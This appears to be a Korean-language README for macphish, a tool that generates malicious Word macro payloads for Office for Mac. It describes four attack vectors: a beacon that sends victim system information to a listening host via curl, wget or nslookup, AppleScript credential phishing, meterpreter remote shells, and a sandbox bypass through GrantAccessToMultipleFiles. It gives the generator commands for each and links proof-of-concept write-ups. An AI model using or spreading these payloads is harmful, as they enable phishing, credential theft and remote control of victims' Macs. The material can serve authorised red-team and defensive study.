macphish

Office for Mac 매크로 페이로드 생성기

공격 벡터

사용 가능한 4가지 공격 벡터:

• beacon
• creds
• meterpreter
• meterpreter-grant

'creds' 방법의 경우, macphish는 셸에서 실행해야 할 때 직접 Applescript 스크립트를 생성할 수 있습니다.

beacon

실행 시 이 페이로드는 수신 호스트에 신호를 보내고 피해자에 대한 기본 시스템 정보를 제공합니다. 비컨 페이로드를 생성하는 가장 간단한 방법은 다음과 같습니다:

$./macphish.py -lh <listening host> 

기본적으로 curl을 사용하지만 명령 템플릿을 수정하여 다른 유틸리티(wget, nslookup)를 사용할 수 있습니다.

creds

$./macphish.py -lh <listening host> -lp <listening port> -a creds

meterpreter

meterpreter 페이로드를 생성하는 가장 간단한 방법은 다음과 같습니다:

$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter 

meterpreter-grant

먼저 GrantAccessToMultipleFiles()를 호출하는 meterpreter 페이로드를 생성하려면:

$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter-grant

현재 meterpreter 공격에는 Python 페이로드만 지원됩니다.

사용법

https://github.com/cldrn/macphish/wiki/Usage 참조

PoC

• Mac용 Word에서 GrantAccessToMultipleFiles를 사용한 샌드박스 우회
• 전역 및 재귀 권한 PoC - MacOS Word 악성 매크로
• 매크로를 사용한 Office for Mac에서 Meterpreter 실행
• macOS에서 Word 매크로를 사용한 자격 증명 수집(피싱)